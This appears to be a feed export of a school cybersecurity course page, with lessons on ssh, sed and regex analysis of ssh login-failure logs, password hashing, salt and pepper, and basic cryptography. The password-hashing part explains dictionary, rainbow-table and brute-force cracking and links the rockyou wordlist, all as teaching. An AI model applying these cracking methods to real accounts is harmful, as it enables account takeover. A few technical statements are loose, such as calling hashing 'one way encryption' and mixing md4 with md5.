&lt;p&gt;Passing a string into ssh at the end of the line, will cause ssh to run that string on the remote host!&lt;/p&gt;
&lt;p&gt;So &lt;code&gt;ssh bob@marge.stuy.edu "cd Documents; ls"&lt;/code&gt; would show you the contents of the Documents folder on marge, then exit the ssh program.&lt;/p&gt;
&lt;h4&gt;Getting some ssh logs:&lt;/h4&gt;
&lt;p&gt;You need sudo for this so you can try it on your own linux devices: &lt;code&gt;ssh myserver "journalctl | grep sshd" &amp;gt; sshlog.txt&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;Now filter the &lt;code&gt;sshlog.txt&lt;/code&gt; only the disconnections, and also dump it to a local file:&lt;/p&gt;
&lt;p&gt;I have placed &lt;code&gt;/tmp/CyberSSHLog.txt&lt;/code&gt; on marge for you to retrieve. What commands can get the file?&lt;/p&gt;
&lt;p&gt;Get this file now, you can use many commands, scp being the most obvious. I will frequently ask you to get files, you need this skill.&lt;/p&gt;
&lt;h2 id="2025-02-05h"&gt;Homework&lt;/h2&gt;
&amp;lt;-- STATE WHICH ASSIGNMENT, should have been passwords --&amp;gt;
&lt;h3&gt;Perusall due Monday 8am.&lt;/h3&gt;
&lt;p&gt;It will be released at the end of the day. You must come back to the assignment after others have had time to post. DO NOT wait until Sunday night/Monday morning to do the assignment, you should start tonight.&lt;/p&gt;
&lt;p&gt;You will have another homework that overlaps, so don't procrastinate.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-02-05n"/><published>2026-02-05T12:00:00+00:00</published></entry><entry><id>2026-02-06n</id><title>2026-02-06</title><updated>2026-02-06T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-02-06n"&gt;
&lt;h5&gt;2026-02-06&lt;/h5&gt;
&lt;h3&gt;Is your regex weaksauce?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Protips:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Use &lt;a href="http://regex101.com/"&gt;regex101.com&lt;/a&gt; to help you figure out why some lines do not get matched!&lt;/p&gt;
&lt;h3&gt;Back to your ssh logs:&lt;/h3&gt;
&lt;p&gt;Here is how you get rid of everything before andincluding the "Disconnected from" in EACH LINE of the text file:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cat sshlogfile | sed 's/^.*Disconnected from //'&lt;/code&gt; &lt;/p&gt;
&lt;h3&gt;sed substitutions:&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;sed 's/a/b/'&lt;/code&gt;  will replace a with b. To use regex add the -E flag.&lt;/p&gt;
&lt;h3&gt;multiple substitutions:&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;sed 's/a/b/; s/c/d'&lt;/code&gt;  will replace a with b, and also repalce c with d. You can chain multiple substitutions like the following:&lt;/p&gt;
&lt;h3&gt;Classwork:&lt;/h3&gt;
&lt;p&gt;I have placed &lt;code&gt;/tmp/CyberSSHLogs.txt&lt;/code&gt; and &lt;code&gt;/tmp/CyberSSHLogsDirty.txt&lt;/code&gt; on marge for you to retrieve. What commands can get the file?&lt;/p&gt;
&lt;p&gt;The dirty file has many accounts and many extra lines. The basic file just has root attempts.&lt;/p&gt;
&lt;p&gt;The questions are primarily targeting the SSHLogsDirty file. &lt;/p&gt;
&lt;p&gt;Get thes files. You can get both at once if you target "/tmp/Cyber*.txt" &lt;/p&gt;
&lt;p&gt;I will frequently ask you to get files, you need this skill.&lt;/p&gt;
&lt;h4&gt;Where to place work:&lt;/h4&gt;
&lt;p&gt;Create a directory in your classwork repo:
  &lt;/p&gt;&lt;p&gt;You should place the ssh logs in it, and do today's work there. You can create additional files without cluttering your home directory.&lt;/p&gt;
&lt;p&gt;This directory is for the intermediary files and scratch work you are doing:  &lt;code&gt;CLASSWORK_REPONAME/2026-02-06-Regex/&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Filter the failed passwords&lt;/h4&gt;
&lt;p&gt;This was already done for the non-dirty file. &lt;/p&gt;
&lt;p&gt;First we want to find any bad login attempts from invalid passwords. This can be done by grepping the error message that occurs when you give a bad password, find this in the log file then filter your data set.&lt;/p&gt;
&lt;p&gt;You can output that into a 2nd file &lt;code&gt;sshfailed.txt&lt;/code&gt; which should have 5651 lines in it. We don't care if the fail is for a valid or invalid account.&lt;/p&gt;
&lt;h4&gt;Now lets get the username and IP addresses.&lt;/h4&gt;
&lt;p&gt;Now try to make the regex that matches the whole line but includes CAPTURE GROUPS for the username and the IP address&lt;/p&gt;
&lt;p&gt;The end result should be each line is replaced with "IP username" &lt;/p&gt;
&lt;code&gt;tail sshfailed.txt | sed -E 's/REGEX/REPLACEMENT/'&lt;/code&gt;
&lt;h3&gt;Use capture Groups:&lt;/h3&gt;
&lt;p&gt;Writing &lt;code&gt;\1&lt;/code&gt; as a replacement will substitute the 1st capture group, &lt;code&gt;\2&lt;/code&gt; is the 2nd etc.&lt;/p&gt;
&lt;p&gt;e.g. &lt;/p&gt;
&lt;code&gt;tail sshfailed.txt | sed -E 's/^REGEX(GROUP1)REGEX(GROUP2)REGEX$/\1 \2/'&lt;/code&gt;
&lt;p&gt;results:&lt;/p&gt;
&lt;div class="code"&gt;
49.88.112.72 root&lt;br/&gt;
223.68.4.237 etienne&lt;br/&gt;
49.88.112.72 root&lt;br/&gt;
49.88.112.72 root&lt;br/&gt;
159.89.89.127 postgres&lt;br/&gt;
134.209.154.246 elle&lt;br/&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;If that works:&lt;/strong&gt; run it on the whole file, don't use tail.&lt;/p&gt;
&lt;p&gt;Try switching the \1 and \2 or removing one.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cat sshlog.txt | sed -E 's/^.*Disconnected from (authenticating |invalid )?user (.+) ([0-9\.]+) port.*$/\2 \3/'&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;This line captures the user in the 2nd capture group, and the IP in the 3rd. The whole line is replaced with just the "username IP"&lt;/p&gt;
&lt;h3&gt;Combine with other commands&lt;/h3&gt;
&lt;p&gt;Remember that you can use other bash commands to convert the data for you.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sort | uniq -c | sort -nk1&lt;/code&gt; will combine repeated values and sort them, so you can see which usernames attemted to log in the most, or which ip addresses.&lt;/p&gt;
&lt;h3 id="2026-02-06h"&gt;Classwork/Homework:&lt;/h3&gt;
&lt;p&gt;Create a new directory and text file for your final submission &lt;code&gt;CLASSWORK_REPONAME/03/sshlogs.txt&lt;/code&gt; in your classwork repo.&lt;/p&gt;
&lt;p&gt;PLACE a heading with your  LASTName/FIRSTName/PERIOD at the top of the text file.&lt;/p&gt;
&lt;h4&gt;Directions:&lt;/h4&gt;
&lt;p&gt;Answer the questions below about &lt;code&gt;CyberSSHLogsDirty.txt&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;If you used a command to calculate the result, &lt;strong&gt;submit the command you used&lt;/strong&gt; and an explanation of how it worked. A ballpark result is given so you know if you are close or not.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;What flag of the uniq command shows the number of duplicates?&lt;/li&gt;
&lt;li&gt;What flag of sort can sort numbers properly?&lt;/li&gt;
&lt;li&gt;How many total attempts to log in as &lt;code&gt;root&lt;/code&gt; were there? (exclude rootroot, root1 etc.) (~3500) &lt;/li&gt;
&lt;li&gt;How many times was the account &lt;code&gt;user1&lt;/code&gt; used to try to connect? (~50ish)  &lt;/li&gt;
&lt;li&gt;How many unique IP addresses tried to connect as root? (~20ish) if you exclude rootroot, root1, root2 etc.)&lt;/li&gt;
&lt;li&gt;How many IP addressses tried to connect more than 50 times as ANY account?&lt;/li&gt;
&lt;li&gt;How many unique account names used to connect? (~300ish)&lt;/li&gt;
&lt;li&gt;Which IP was used to try to connect the 2&lt;sup&gt;nd&lt;/sup&gt; most frequently as root? &lt;/li&gt;
&lt;li&gt;What Country,City is that IP located in?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;use the following format so i can easily see the answer and HOW you solved it.:&lt;/p&gt;
&lt;pre&gt;1: answer
command used (skip this if no command used)
explanation

2: answer
command used (skip this if no command used)
explanation&lt;/pre&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-02-06n"/><published>2026-02-06T12:00:00+00:00</published></entry><entry><id>2026-02-09n</id><title>2026-02-09</title><updated>2026-02-09T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-02-09n"&gt;
&lt;h3 id="2026-02-09h"&gt;Homework:&lt;/h3&gt;
&lt;p&gt;Perusall on Passwords, Due tomorrow. Make 3 annotations&lt;/p&gt;
&lt;h3&gt;Resources:&lt;/h3&gt;
&lt;p&gt;You can find some resources in my home directory. I suggest you link to them in your documents using the following command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ln -s /home/support/konstans/pub/cyber ~/Documents/cyber_resources   &lt;/code&gt; &lt;/p&gt;
&lt;p&gt;The command makes a link, specifically a -s or symbolic link, to MY &lt;code&gt;~/pub/cyber&lt;/code&gt; and places the link in your &lt;code&gt;~/Documents/&lt;/code&gt;. This will look like a directory, and all of you will have access.&lt;/p&gt;
&lt;h3&gt;Passwords:&lt;/h3&gt;
&lt;p&gt;Let us see why you need to include capital letters, numbers, and special characters in your passwords:&lt;/p&gt;
&lt;p&gt;&lt;img alt="password possibilities chart" loading="lazy" src="img/passwords.png" width="700px"/&gt;&lt;/p&gt;
&lt;p&gt;The actual impact of special characters is even greater, as this chart excludes many acceptable characters such as &lt;code&gt;-+{}[]&amp;amp;lt&amp;amp;gt|\/&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;
    Let us use the shorthand for a type of password which contains many different symbols regardless of length, we will use the term "good password" to mean this.
    "good passwords" use Numbers, Upper+Lower case letters, AND symbols... That is about 80 possibilities on the keyboard per character.
    The number of passwords is therefore  is 80&lt;sup&gt;x&lt;/sup&gt; where x = password length.
  &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;80&lt;sup&gt;1&lt;/sup&gt; = 80&lt;/li&gt;
&lt;li&gt;80&lt;sup&gt;2&lt;/sup&gt; = 6400&lt;/li&gt;
&lt;li&gt;80&lt;sup&gt;3&lt;/sup&gt; = 512,000&lt;/li&gt;
&lt;li&gt;80&lt;sup&gt;4&lt;/sup&gt; = 40,960,000&lt;/li&gt;
&lt;li&gt;80&lt;sup&gt;5&lt;/sup&gt; = 3,276,800,000&lt;/li&gt;
&lt;li&gt;80&lt;sup&gt;6&lt;/sup&gt; = 262,144,000,000&lt;/li&gt;
&lt;li&gt;80&lt;sup&gt;7&lt;/sup&gt; = 20,971,520,000,000&lt;/li&gt;
&lt;li&gt;80&lt;sup&gt;8&lt;/sup&gt; = 1,677,721,600,000,000&lt;/li&gt;
&lt;li&gt;80&lt;sup&gt;9&lt;/sup&gt; = 134,217,728,000,000,000&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;etc...&lt;/p&gt;
&lt;p&gt;Here is a good measure to see how cheap cracking is available to all: &lt;a href="https://thesecurityfactory.be/password-cracking-speed/"&gt;https://thesecurityfactory.be/password-cracking-speed/&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;Passwords are hashed&lt;/h3&gt;
&lt;p&gt;In order to have your services not store your password,they store a hashed password. This is a one way encryption function.&lt;/p&gt;
&lt;p&gt;When you submit your password, the service will hash what you submitted and check if that matches the hash that was stored, you typed your password correctly.&lt;/p&gt;
&lt;h3&gt;What are hashes?&lt;/h3&gt;
&lt;p&gt;A hash function is often called a trap door function. Computing the result is easy, computing the inverse of the operation is not possible. A function with no inverse that is used in hashing is the remainder operation.&lt;/p&gt;
&lt;p&gt;example: Imagine adding up the ASCII values of a string and modding by some value. You could not undo this operation to get the string.&lt;/p&gt;
&lt;p&gt;The example is a very poor hashing algorithm, but it illustrates that it is not difficult to come up with a trap door function.&lt;/p&gt;
&lt;h3&gt;Cracking Passwords:&lt;/h3&gt;
&lt;p&gt;Passwords are not cracked by guessing on the website login page, that is almost never the way you brute force a password.&lt;/p&gt;
&lt;p&gt;In practice, websites can have their user data stolen, which includes a list of their users, their email addresses, and their encrypted passwords. There can be much more information stolen depending on the service that was hacked.&lt;/p&gt;
&lt;p&gt;Since the passwords are encrypted and you cannot calculate the inverse of the hash you are safe... right?&lt;/p&gt;
&lt;p&gt;Wrong.&lt;/p&gt;
&lt;h3&gt;Cracking Hashes:&lt;/h3&gt;
&lt;h4&gt;Brute Force Attacks&lt;/h4&gt;
&lt;p&gt;The way you crack a hash is: use the same hashing algorithm on all possible words until the results match the hash of the password you are trying to find.&lt;/p&gt;
&lt;p&gt;If you are given the md4 hash : &lt;code&gt;8ce4b16b22b58894aa86c421e8759df3&lt;/code&gt; and you know the password is 1 character, you can just has try hashing each letter until you find it.&lt;/p&gt;
&lt;p&gt;try that now: &lt;code&gt;echo -n "STRING" | md5sum&lt;/code&gt;  where STRING is just a 1 letter password.&lt;/p&gt;
&lt;h3&gt;Brute force a longer password&lt;/h3&gt;
&lt;p&gt;When you have more than one letter in your password you have to try all combinations of letters that are possible up to the length of the actual password.&lt;/p&gt;
&lt;p&gt;In the table below, if you have the hash &lt;code&gt;84d961568a65073a3bcf0eb216b2a576&lt;/code&gt; you just have to start hashing all words... "password" "letmein" "superman" etc. until the result matches your hash&lt;/p&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;attempt&lt;/th&gt;&lt;th&gt;result&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;hash("a")&lt;/td&gt;&lt;td&gt;0cc175b9c0f1b6a831c399e269772661&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;hash("b")&lt;/td&gt;&lt;td&gt;92eb5ffee6ae2fec3ad71c777531578f&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;...&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;hash("ab")&lt;/td&gt;&lt;td&gt;187ef4436122d1cc2f40dc2b92f0eba0&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;...&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;hash("letmein")&lt;/td&gt;&lt;td&gt;0d107d09f5bbe40cade3de5c71e9e9b7&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;...&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;hash("password")&lt;/td&gt;&lt;td&gt;5f4dcc3b5aa765d61d8327deb882cf99&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;...&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;hash("superman")&lt;/td&gt;&lt;td&gt; &lt;strong&gt;84d961568a65073a3bcf0eb216b2a576&lt;/strong&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;Upon hashing superman, you can see that the resulting hash is the same as the original one we were looking for. The password is superman.&lt;/p&gt;
&lt;h3&gt;Fast computers can crack hashes VERY fast&lt;/h3&gt;
&lt;p&gt;
      Let us consider that a highly specialized computer or computer cluster can calculate billions of hashes per second.
      This means that a length 6 "good" password would take seconds to find the right hash, while a length 7 password would take minutes.
    &lt;/p&gt;
&lt;p&gt;
      This is an arbitrary table that chooses an "old" fast way to crack passwords, newer ways are about 5-10 times faster.
      Notice that "1000 times faster! or 1 million times faster" would not help with passwords that are 15+ characters long.
    &lt;/p&gt;
&lt;p&gt;
      As you can see from the image below: If everyone used randomized "good passwords" that were 15+ characters long,
      then cracking hashes would be impossible with current algorithms and hardware.
    &lt;/p&gt;
&lt;p&gt;&lt;img alt="" loading="lazy" src="img/crackingspeed.png" width="700"/&gt;&lt;/p&gt;
&lt;h3&gt;Password cracking strategies&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://xkcd.com/538/"&gt;https://xkcd.com/538/&lt;/a&gt;&lt;/p&gt;
&lt;img alt="https://xkcd.com/538" loading="lazy" src="https://imgs.xkcd.com/comics/security.png"/&gt;
&lt;h4&gt;Step 1: Password list&lt;/h4&gt;
&lt;p&gt;If you have a password list, you can try all of the common passwords first. This will weed out any weak passwords right away.&lt;/p&gt;
&lt;p&gt;
      There is a list of real world passwords called rockyou. This list "rockyou.txt" contains 14,341,564 unique passwords,
      used in millions of different accounts. By pulling real world used passwords you can quickly check these particular
      passwords before you try to crack all the random ones. This has a high chance of succeeding on people that don't use good passwords!
    &lt;/p&gt;
&lt;p&gt;rockyou.txt contains the most frequently used passwords sorted by frequency.&lt;/p&gt;
&lt;p&gt;Keep in mind that rockyou is not really effective against targets with good password policies. To succeed with a dictionary attack you may need to create your own wordlist especially if your target is not in an english speaking country.&lt;/p&gt;
&lt;p&gt;Hackers often supplement this password list with other password lists that contain multiple word combinations and common letter substitutions.&lt;/p&gt;
&lt;p&gt;You can easily aquire this list by googling: "rockyou password list" or "rockyou password list github"&lt;/p&gt;
&lt;p&gt;You can also find rockyou.txt in your cyber_resources directory so you DO NOT download it onto the school network.&lt;/p&gt;
&lt;p&gt;here is a link to the list: &lt;a href="https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt"&gt;https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt&lt;/a&gt; &lt;/p&gt;
&lt;h4&gt;Step 2: Rainbow tables&lt;/h4&gt;
&lt;p&gt;You can pre-compute all possible hashes for passwords up to a particular length. These precomputed list of passwords+hashes are called rainbow tables.&lt;/p&gt;
&lt;h4&gt;Step 3: brute force cracking&lt;/h4&gt;
&lt;p&gt;This can be dumb try all passwords brute forcing, or more intelligent ones.&lt;/p&gt;
&lt;p&gt;Creative ways include combining multiple words into longer passwords, or patterns e.g. capitalized 1st letter, + 1 number at the end of the password.&lt;/p&gt;
&lt;h3&gt;Protection against Password cracking&lt;/h3&gt;
&lt;h4&gt;Salt&lt;/h4&gt;
&lt;p&gt;To protect against password cracking attempts using rainbow tables, you can use a salt.&lt;/p&gt;
&lt;p&gt;A salt is a random string of characters that is unique per user, and stored with the user information.&lt;/p&gt;
&lt;p&gt;This has several benefits:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Users with the same password will have different hashes. So they must be cracked separately. This multiplies the cracking time by the number of hashshes stolen.&lt;/li&gt;
&lt;li&gt;Rainbow tables most likely will not include significantly longer passwords (The salt length adds to the password length)&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Pepper&lt;/h4&gt;
&lt;p&gt;To protect against password cracking attempts using brute force cracking we use a pepper.&lt;/p&gt;
&lt;p&gt;When you add a random letter to the end of the password before hasing, this is called a pepper.&lt;/p&gt;
&lt;p&gt;A pepper is NOT stored with the account, instead you have to try all possible pepper values. &lt;/p&gt;
&lt;p&gt;This is trivial to test 26 or 52 letters when someone logs in, but imagine cracking and having to test 52 extra times per login.&lt;/p&gt;
&lt;p&gt;This doesn't protect against rainbow tables as it is just one extra letter in length.&lt;/p&gt;
&lt;h4&gt;Putting it together:&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
          username
        &lt;/th&gt;
&lt;th&gt;
          password
        &lt;/th&gt;
&lt;th&gt;
          salt
        &lt;/th&gt;
&lt;th&gt;
          pepper
        &lt;/th&gt;
&lt;th&gt;
          hash(pass + salt + pepper)
        &lt;/th&gt;
&lt;th&gt;
          resulting hash
        &lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;joe&lt;/td&gt;
&lt;td&gt;"Password"&lt;/td&gt;
&lt;td&gt;"aj3oD"&lt;/td&gt;
&lt;td&gt;?&lt;/td&gt;
&lt;td&gt;hash("Passwordaj3oD"+?)&lt;/td&gt;
&lt;td&gt;f60e0e65d61f713ca1e1840aa096942c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dave&lt;/td&gt;
&lt;td&gt;"Password"&lt;/td&gt;
&lt;td&gt;"f03AL"&lt;/td&gt;
&lt;td&gt;?&lt;/td&gt;
&lt;td&gt;hash("Passwordf03AL"+?)&lt;/td&gt;
&lt;td&gt;77e0e8bfdb1b0a0ebf9f0beafb81a5c4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;joy&lt;/td&gt;
&lt;td&gt;"Mxk4^d(l52Z"&lt;/td&gt;
&lt;td&gt;"gns9R"&lt;/td&gt;
&lt;td&gt;?&lt;/td&gt;
&lt;td&gt;hash("Mxk4^d(l52Zgns9R"+?)&lt;/td&gt;
&lt;td&gt;5a149d3f82c6f4ee24e62ab7f351a3b3&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;You can guess the pepper in these examples by running a command on the string + [a-zA-Z] and checking if any match&lt;/p&gt;
&lt;p&gt;&lt;code&gt;echo -n "password" | md5sum&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;Note the -n is a flag that removes the newline from the output of echo, so you don't include that in your hash function (md5)&lt;/p&gt;
&lt;h3&gt;Final thoughts&lt;/h3&gt;
&lt;p&gt;Do not implement your own password system. Use existing proven ones. &lt;/p&gt;
&lt;p&gt;e.g. Using Google's &lt;a href="https://developers.google.com/identity/protocols/oauth2"&gt;OAuth 2.0 protocol&lt;/a&gt;  for authentication and authorization. This lets you piggy back your service on top of googles already secure authentication process and you don't have to store any passwords.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-02-09n"/><published>2026-02-09T12:00:00+00:00</published></entry><entry><id>2026-02-10n</id><title> 2026-02-10</title><updated>2026-02-10T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-02-10n"&gt;
&lt;h5&gt; 2026-02-10&lt;/h5&gt;
&lt;h2&gt;Do Now&lt;/h2&gt;
&lt;p&gt;Consider dates in the format YYYY-MM-DD or YYYY/MM/DD, how do you match that using regex? (assume starting from the year 1000)&lt;/p&gt;
&lt;p&gt;What if the year can be 2 or 4 digits. YY-MM-DD ? What if the MM and DD can be 1 digit, e.g. 4 instead of 04&lt;/p&gt;
&lt;p&gt;Now what about validation of realistic already existing dates (19xx or 20xx) / also valid month/days: 00-99-99 is not valid.&lt;/p&gt;
&lt;p&gt;Do not worry about matching correct number of days in the month, e.g. 31 days in Feburary isn't an issue.&lt;/p&gt;
&lt;p style="display:none"&gt;
&lt;code&gt;^(19|20)?[0-9]{2}(\/|-)(1[0-2]|0?[1-9])\2(3[01]|[12][0-9]|0?[1-9])$&lt;/code&gt;
&lt;/p&gt;
&lt;h3&gt;quick topic:&lt;/h3&gt;
&lt;p&gt;Browsers have inspect html or edit html features. Use this to check your answer to the prior question.&lt;/p&gt;
&lt;h3&gt;Quiz&lt;/h3&gt;
&lt;p&gt;You have a quiz on Feb (11|12) on regex + terminal commands / shell features (including pipes redirects etc).&lt;/p&gt;
&lt;h3&gt;Terminal&lt;/h3&gt;
&lt;p&gt;Minor point: &lt;code&gt;cd&lt;/code&gt; and &lt;code&gt;exit&lt;/code&gt; are not programs, they are built into the shell. This is different from ls, wc, cowsay, cp, mv, etc, are all programs.&lt;/p&gt;
&lt;p&gt;Similarly &lt;code&gt;&amp;amp;lt&lt;/code&gt; , &lt;code&gt;&amp;amp;gt&lt;/code&gt; , &lt;code&gt;|&lt;/code&gt; are also built into the shell.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&amp;amp;&lt;/code&gt; and &lt;code&gt;fg&lt;/code&gt; options are super useful built in shell features as well. Combined with &lt;code&gt;Ctrl-Z&lt;/code&gt; you can run/send commands to the background of your shell while you do other things!&lt;/p&gt;
&lt;h3&gt;Addendum to hashing&lt;/h3&gt;
&lt;p&gt;Consider the output is modded by 1 billion, but there are more than 1 billion paswords. What are the consequences?&lt;/p&gt;
&lt;p&gt;
    Since the output size is smaller than the input size there are some inputs that map to the same output, which is called a collision.
    It is very unlikely to guess a password with the same hash however, and as long as the collisions are spread evenly (not grouped together) then this is not an issue.
  &lt;/p&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
        username
      &lt;/th&gt;
&lt;th&gt;
        password
      &lt;/th&gt;
&lt;th&gt;
        salt
      &lt;/th&gt;
&lt;th&gt;
        pepper
      &lt;/th&gt;
&lt;th&gt;
        hash(pass + salt + pepper)
      &lt;/th&gt;
&lt;th&gt;
        resulting hash
      &lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;joe&lt;/td&gt;
&lt;td&gt;"Password"&lt;/td&gt;
&lt;td&gt;"aj3oD"&lt;/td&gt;
&lt;td&gt;?&lt;/td&gt;
&lt;td&gt;hash("Passwordaj3oD"+?)&lt;/td&gt;
&lt;td&gt;f60e0e65d61f713ca1e1840aa096942c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dave&lt;/td&gt;
&lt;td&gt;"Password"&lt;/td&gt;
&lt;td&gt;"f03AL"&lt;/td&gt;
&lt;td&gt;?&lt;/td&gt;
&lt;td&gt;hash("Passwordf03AL"+?)&lt;/td&gt;
&lt;td&gt;77e0e8bfdb1b0a0ebf9f0beafb81a5c4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;joy&lt;/td&gt;
&lt;td&gt;"Mxk4^d(l52Z"&lt;/td&gt;
&lt;td&gt;"gns9R"&lt;/td&gt;
&lt;td&gt;?&lt;/td&gt;
&lt;td&gt;hash("Mxk4^d(l52Zgns9R"+?)&lt;/td&gt;
&lt;td&gt;5a149d3f82c6f4ee24e62ab7f351a3b3&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;Given the table above, find the pepper for joe and dave.&lt;/p&gt;
&lt;h3&gt;Discussion&lt;/h3&gt;
&lt;p&gt;How and when will a salt increase password security? In what situations will a salt not benefit security?&lt;/p&gt;
&lt;p&gt;How and when will a pepper increase password security? In what situations will a pepper not benefit security?&lt;/p&gt;
&lt;p&gt;What are some password policies can help protect your login credentials from being hacked?&lt;/p&gt;
&lt;p&gt;Which password policies will help protect against rainbow tables attacks? Which backend policies will help against this?&lt;/p&gt;
&lt;p&gt;What are some non-password policies can help protect your login credentials from being hacked?&lt;/p&gt;
&lt;h3&gt;Change Passwords&lt;/h3&gt;
&lt;p&gt;A minor detour from applied terminal skills:&lt;/p&gt;
&lt;p&gt;Everyone needs to ssh onto the password server and change their password.&lt;/p&gt;
&lt;p&gt;Instructions provided on the next line of html.&lt;/p&gt;
&lt;p style="display:none"&gt;
    Go to the password server,
    &lt;code&gt;ssh username@149.89.17.91&lt;/code&gt; ,

    then change your password using the command:
    &lt;code&gt;passwd&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-02-10n"/><published>2026-02-10T12:00:00+00:00</published></entry><entry><id>2025-02-12n</id><title> 2025-02-12</title><updated>2025-02-12T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2025-02-12n"&gt;
&lt;h5&gt; 2025-02-12&lt;/h5&gt;
&lt;h2&gt;Cryptography&lt;/h2&gt;
&lt;p&gt; &lt;strong&gt;Plain Text / Clear Text&lt;/strong&gt; - Unencrypted, human-readable text. This is the data you wan to encrypt.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cipher&lt;/strong&gt; - The algorithm used to encrypt data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cipher Text&lt;/strong&gt; - The encrypted text formatted by an encryption algorithm that is no longer human-readable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Encryption Key&lt;/strong&gt; - The second piece of information used by the encryption algorithm to encrypt and potentially decrypt the data later.&lt;/p&gt;
&lt;h3&gt;Properties of good cryptographic functions:&lt;/h3&gt;
&lt;p&gt;Keep the following properties in mind when looking at the different methods of encryption. These characteristics prevent patterns from being used to analyze the ciphertext.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cipher text should appear completely random.&lt;/li&gt;
&lt;li&gt;Cipher text should not be related to the plain text or it's distribution of characters.&lt;/li&gt;
&lt;li&gt;Cipher text should not be related to the key or its characters.&lt;/li&gt;
&lt;li&gt;Small changes in the key should completely change the cipher text.&lt;/li&gt;
&lt;li&gt;Small changes in the plain text should completely change the cipher text.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Encryption:&lt;/h3&gt;
&lt;p&gt;Encryption is a form of data security.&lt;/p&gt;
&lt;p&gt;Encryption is the process of converting readable data into a format that is not understood by any unauthorized person.&lt;/p&gt;
&lt;p&gt;Decrypting the file requires access to a key/password.&lt;/p&gt;
&lt;p&gt;The purpose of encryption is protecting sensitive information when being transmitted or stored.&lt;/p&gt;
&lt;h3&gt;Important prerequisites:&lt;/h3&gt;
&lt;p&gt;Binary Decimal and Hexadecimal&lt;/p&gt;
&lt;table border="1px"&gt;
&lt;tr&gt;&lt;th&gt;Decimal &lt;/th&gt; &lt;th&gt;Binary &lt;/th&gt; &lt;th&gt;Hexadecimal&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;00&lt;/td&gt; &lt;td&gt;   0000&lt;/td&gt; &lt;td&gt;     00&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;01&lt;/td&gt; &lt;td&gt;   0001&lt;/td&gt; &lt;td&gt;     01&lt;/td&gt;&lt;/tr&gt;
